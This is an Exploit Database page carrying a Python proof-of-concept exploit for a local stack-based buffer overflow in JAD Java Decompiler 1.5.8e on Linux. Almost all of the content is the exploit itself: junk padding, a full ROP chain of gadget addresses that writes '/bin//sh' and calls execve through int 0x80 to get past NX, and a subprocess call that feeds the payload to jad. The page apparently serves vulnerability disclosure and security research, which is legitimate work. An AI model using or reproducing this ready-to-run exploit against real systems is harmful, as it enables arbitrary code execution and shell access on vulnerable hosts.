



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

JAD Java Decompiler 1.5.8e - Local Buffer Overflow (NX Enabled)

EDB-ID:

42255

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[LINUX](#)

Date:

2017-06-26

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is prone to
a stack-based buffer overflow
# vulnerability because the application fails to perform adequate boundary-
checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in
the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.varanekas.com/jad/
#
# CANARY      : disabled
# FORTIFY     : disabled
# NX          : ENABLED
# PIE         : disabled
# RELRO       : disabled
#
import os, subprocess
from struct import pack

ropchain = "A"*8150 # junk
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '/bin'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe4) # @ .data + 4
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '//sh'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080c861f) # int 0x80

```

try:

```

print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["jad", ropchain])
except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "JAD not found!"
    else:
        print "Error executing exploit"
        raise

```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

OffSec Services Limited 2026. All rights reserved.